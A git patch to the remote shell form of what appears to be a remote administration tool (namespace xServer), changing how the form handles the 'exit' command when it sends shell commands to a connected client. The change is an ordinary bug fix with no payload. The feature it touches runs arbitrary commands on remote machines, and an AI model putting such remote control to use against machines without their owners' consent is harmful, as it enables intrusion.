From 896026d6303958bdf183d2fb734f6a1af3e8139a Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 27 May 2015 08:54:12 +0200 Subject: [PATCH] Fixed #216 --- Server/Forms/FrmRemoteShell.cs | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs index 105a69c0..b3a142ab 100644 --- a/Server/Forms/FrmRemoteShell.cs +++ b/Server/Forms/FrmRemoteShell.cs @@ -45,18 +45,24 @@ namespace xServer.Forms string input = txtConsoleInput.Text; txtConsoleInput.Text = string.Empty; - switch (input) + bool isExit = (input.StartsWith("exit") && input.Length > "exit".Length && input[4] == ' ') || input == "exit"; + + if (isExit) { - case "cls": - txtConsoleOutput.Text = string.Empty; - break; - case "exit": - new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient); - this.Close(); - break; - default: - new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient); - break; + new Core.Packets.ServerPackets.ShellCommand("exit").Execute(_connectClient); + this.Close(); + } + else + { + switch (input) + { + case "cls": + txtConsoleOutput.Text = string.Empty; + break; + default: + new Core.Packets.ServerPackets.ShellCommand(input).Execute(_connectClient); + break; + } } e.Handled = true;